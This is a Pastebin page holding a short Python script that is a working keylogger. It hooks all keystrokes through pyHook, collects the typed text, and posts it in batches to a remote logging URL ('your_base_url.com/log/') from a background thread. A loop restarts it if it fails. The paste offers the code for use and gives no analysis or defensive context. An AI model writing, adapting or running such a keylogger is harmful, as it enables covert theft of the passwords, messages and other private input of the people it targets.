Advertisement
Guest User

Untitled

a guest
Dec 23rd, 2014
564
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. import sys
  2. import pythoncom, pyHook
  3. import threading
  4. import os
  5. import requests
  6. chars = ""
  7. name = ""
  8.  
  9.  
  10.  
  11. def OnKeyboardEvent(event):
  12. try:
  13. global chars
  14. print "ascii value: " + str(event.Ascii)
  15. #Check for backspace
  16. char = ""
  17.  
  18. if event.Ascii == 8:
  19. print "Backspace was pressed"
  20. char = ""
  21. chars = chars[:-1]
  22.  
  23. elif event.Ascii == 13:
  24. char = "\n"
  25. else:
  26. if event.Ascii != 0:
  27. char = chr(event.Ascii)
  28.  
  29.  
  30. print char
  31. chars += char
  32. print "msg: " + chars
  33.  
  34. # do POST
  35. if len(chars) > 10:
  36. t = threading.Thread(target=post_thread,args=(chars,))
  37. t.start()
  38. chars = ""
  39. except:
  40. print "Error, skipping this char"
  41.  
  42.  
  43. return True
  44.  
  45.  
  46.  
  47.  
  48. def post_thread(msg):
  49. try:
  50. print "Post request"
  51. client = requests.session(config={'verbose': sys.stderr})
  52. URL = 'your_base_url.com/log/'
  53.  
  54. global name
  55. data = dict(name=name,msg=msg)
  56. r = client.post(URL, data=data)
  57. except:
  58. print "Eror sending post request"
  59.  
  60.  
  61.  
  62.  
  63. def main():
  64.  
  65. try:
  66. while True:
  67. hm = pyHook.HookManager()
  68. hm.KeyDown = OnKeyboardEvent
  69. hm.HookKeyboard()
  70. pythoncom.PumpMessages()
  71. except:
  72. main()
  73.  
  74.  
  75. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement